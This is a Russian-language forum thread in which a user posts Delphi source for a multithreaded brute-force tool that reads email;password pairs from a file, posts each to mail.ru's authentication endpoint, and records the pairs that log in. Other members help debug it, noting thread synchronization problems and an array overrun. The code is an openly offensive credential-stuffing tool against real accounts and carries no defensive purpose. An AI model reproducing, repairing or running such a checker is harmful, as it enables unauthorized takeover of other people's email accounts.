Не работает многопоточная программа

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Danil_Boss, 7 Jan 2013.

  1. Danil_Boss

    Danil_Boss New Member

    Joined:
    24 May 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Решил написать многопоточный брут mail.ru, не судите строго, мои первые наработки. Можете объяснить, почему не работает?
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, IdCookieManager, IdIOHandler, IdIOHandlerSocket,
      IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, IdHTTP;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Button2: TButton;
        Memo1: TMemo;
        Memo2: TMemo;
        OpenDialog1: TOpenDialog;
        IdHTTP1: TIdHTTP;
        IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
        IdCookieManager1: TIdCookieManager;
        procedure Button2Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
          private
        { Private declarations }
      public
        { Public declarations }
         end;
    
         tnewthread=class(tthread)
         private
         protected
          procedure  execute;override;
          public
          procedure synhro;
          constructor create(createsuspended:boolean);
         end;
    
    var
      Form1: TForm1;
      nom:integer;
      a:array[1..50]of tnewthread;
    
    implementation
    
    {$R *.dfm}
    
      constructor tnewthread.create(createsuspended:boolean);
      begin
        inherited  create(createsuspended);
      end;
    
    
    procedure TForm1.Button1Click(Sender: TObject);
    var pot:integer;
    begin
    for pot := 1 to 100 do
      begin
    a[pot]:=tnewthread.create(false);
    a[pot].FreeOnTerminate:=true;
      end;
    end;
    procedure TForm1.Button2Click(Sender: TObject);
    begin
    if opendialog1.Execute then memo2.Lines.LoadFromFile(opendialog1.FileName);
    end;
    
    procedure tnewthread.execute;
      begin
      while true do
        begin
        synchronize(synhro);
        sleep(100);
        end;
      end;
    
    procedure tnewthread.synhro;
    var login,pass,domain,response:string;
    data:tstringlist;
    i:integer;
    begin
    data:=tstringlist.Create;
    //form1.IdSSLIOHandlerSocketOpenSSL1.SSLOptions.Method:=sslvSSLv2;
    for I := 0 to form1.memo2.lines.count - 1 do
    begin
      application.processmessages();
      login:=copy(form1.Memo2.Lines[i],1,pos('@',form1.memo2.lines[i])-1);
      pass:=copy(form1.Memo2.Lines[i],pos(';',form1.memo2.lines[i])+1,length(form1.Memo2.Lines[i]));
      domain:=copy(form1.Memo2.Lines[i],pos('@',form1.memo2.lines[i])+1,length(form1.Memo2.Lines[i])-length(pass)-length(login)-2);
        data.Add('domain='+domain);
      data.Add('login='+login);
      data.Add('pass='+pass);
      data.Add('level=0');
      response:=form1.IdHTTP1.Post('https://auth.mail.ru/cgi-bin/auth',data);
      if pos('fail=1',response)=0 then form1.memo1.lines.Add(login+';'+pass);
      data.Clear;
    end;
      form1.idhttp1.Free;
    
    
    
    end;
    end.
     
  2. cLauZ

    cLauZ Member

    Joined:
    22 Oct 2009
    Messages:
    328
    Likes Received:
    27
    Reputations:
    5
    что именно не работает?


    p.s.Хех,взять и дописать?Спасибо, может денежки тебе ещё дать в подарок?
     
  3. Danil_Boss

    Danil_Boss New Member

    Joined:
    24 May 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    исходя из данных сниффера, прога лишь один раз отправляет пост запрос с первой строкой из файла, затем заканчивает работу
     
  4. Danil_Boss

    Danil_Boss New Member

    Joined:
    24 May 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Так ведь idhttp1 освобождается после окончания цикла, так и должно быть?
     
  5. Danil_Boss

    Danil_Boss New Member

    Joined:
    24 May 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Mifody, а как догда сделать, чтобы каждый поток брал свою строку из файла?
     
  6. DeOne

    DeOne New Member

    Joined:
    28 Apr 2012
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Синхронизировать потоки, но для начала код поправь.
     
  7. Jingo Bo

    Jingo Bo Member

    Joined:
    25 Oct 2009
    Messages:
    368
    Likes Received:
    51
    Reputations:
    7
    Еще вот
    Code:
    array[1..50]
    ...
    for pot := 1 to 100 do
    Выходит за пределы массива, ровно в два раза :)